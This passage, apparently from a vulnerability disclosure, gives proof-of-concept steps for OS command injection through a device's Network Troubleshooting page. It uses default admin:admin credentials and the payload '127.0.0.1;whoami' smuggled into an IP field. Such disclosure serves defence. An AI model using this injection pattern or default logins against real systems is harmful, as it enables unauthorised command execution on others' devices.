Step 2: Authenticate with the credentials. (Default credentials admin:admin)
Step3 : Navigate to the Network Troubleshooting option.
Step 4: In the "Network Troubleshooting" page, there is an input field where we can enter an IP address to check if it is accessible or not. In that input filed enter the payload "127.0.0.1;whoami"
Step 5: In the response we can the see the result of the command "whoami". Which means we were able to successfully execute arbitrary code on the remote system.
